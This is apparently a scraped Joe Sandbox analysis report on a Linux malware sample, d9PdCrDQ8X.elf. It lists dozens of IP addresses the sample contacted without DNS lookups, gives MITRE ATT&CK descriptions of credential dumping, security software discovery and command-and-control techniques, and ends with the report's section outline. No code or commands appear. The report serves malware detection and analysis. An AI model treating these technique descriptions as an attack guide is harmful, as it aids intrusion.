Source: unknown	TCP traffic detected without corresponding DNS query: 121.197.232.51
Source: unknown	TCP traffic detected without corresponding DNS query: 121.217.190.8
Source: unknown	TCP traffic detected without corresponding DNS query: 121.234.43.139
Source: unknown	TCP traffic detected without corresponding DNS query: 121.169.158.55
Source: unknown	TCP traffic detected without corresponding DNS query: 121.254.39.114
Source: unknown	TCP traffic detected without corresponding DNS query: 121.9.159.150
Source: unknown	TCP traffic detected without corresponding DNS query: 121.55.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 121.74.103.17
Source: unknown	TCP traffic detected without corresponding DNS query: 121.12.162.161
Source: unknown	TCP traffic detected without corresponding DNS query: 121.78.121.236
Source: unknown	TCP traffic detected without corresponding DNS query: 121.107.52.130
Source: unknown	TCP traffic detected without corresponding DNS query: 121.33.13.121
Source: unknown	TCP traffic detected without corresponding DNS query: 121.232.18.70
Source: unknown	TCP traffic detected without corresponding DNS query: 121.158.68.51
Source: unknown	TCP traffic detected without corresponding DNS query: 121.229.178.203
Source: unknown	TCP traffic detected without corresponding DNS query: 121.149.92.120
Source: unknown	TCP traffic detected without corresponding DNS query: 121.46.195.12
Source: unknown	TCP traffic detected without corresponding DNS query: 121.224.38.60
Source: unknown	TCP traffic detected without corresponding DNS query: 121.118.141.235
Source: unknown	TCP traffic detected without corresponding DNS query: 121.182.187.170
Source: unknown	TCP traffic detected without corresponding DNS query: 121.199.235.133
Source: unknown	TCP traffic detected without corresponding DNS query: 121.25.181.197
Source: unknown	TCP traffic detected without corresponding DNS query: 121.98.252.138
Source: unknown	TCP traffic detected without corresponding DNS query: 121.183.141.34
Source: unknown	TCP traffic detected without corresponding DNS query: 121.129.169.184
Source: unknown	TCP traffic detected without corresponding DNS query: 121.227.248.98
Source: unknown	TCP traffic detected without corresponding DNS query: 121.79.90.22
Source: unknown	TCP traffic detected without corresponding DNS query: 121.189.67.133
Source: unknown	TCP traffic detected without corresponding DNS query: 121.36.237.221
Source: unknown	TCP traffic detected without corresponding DNS query: 121.121.154.106
Source: unknown	TCP traffic detected without corresponding DNS query: 121.243.120.148
Source: unknown	TCP traffic detected without corresponding DNS query: 121.243.204.191
Source: unknown	TCP traffic detected without corresponding DNS query: 121.34.103.205
Source: unknown	TCP traffic detected without corresponding DNS query: 121.83.177.46
Source: unknown	TCP traffic detected without corresponding DNS query: 121.128.72.203
Source: unknown	TCP traffic detected without corresponding DNS query: 121.73.75.157
Source: unknown	TCP traffic detected without corresponding DNS query: 121.207.112.102
Source: unknown	TCP traffic detected without corresponding DNS query: 121.252.25.125
Source: unknown	TCP traffic detected without corresponding DNS query: 121.38.121.203
Source: unknown	TCP traffic detected without corresponding DNS query: 121.20.84.74
Source: unknown	TCP traffic detected without corresponding DNS query: 121.54.43.176
Source: unknown	TCP traffic detected without corresponding DNS query: 121.71.93.85
Source: unknown	TCP traffic detected without corresponding DNS query: 121.243.4.7
Source: unknown	TCP traffic detected without corresponding DNS query: 121.98.184.41
Source: unknown	TCP traffic detected without corresponding DNS query: 121.224.49.89
Source: unknown	TCP traffic detected without corresponding DNS query: 121.193.65.48

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report d9PdCrDQ8X.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: d9PdCrDQ8X.elf PID: 6218, Parent PID: 6132

General

Chronological Activities

Analysis Process: d9PdCrDQ8X.elf PID: 6220, Parent PID: 6218

General

Chronological Activities

Analysis Process: d9PdCrDQ8X.elf PID: 6222, Parent PID: 6220

General

Chronological Activities

Analysis Process: d9PdCrDQ8X.elf PID: 6224, Parent PID: 6220

General

Analysis Process: d9PdCrDQ8X.elf PID: 6226, Parent PID: 6220

General

Chronological Activities

Linux Analysis Report
d9PdCrDQ8X.elf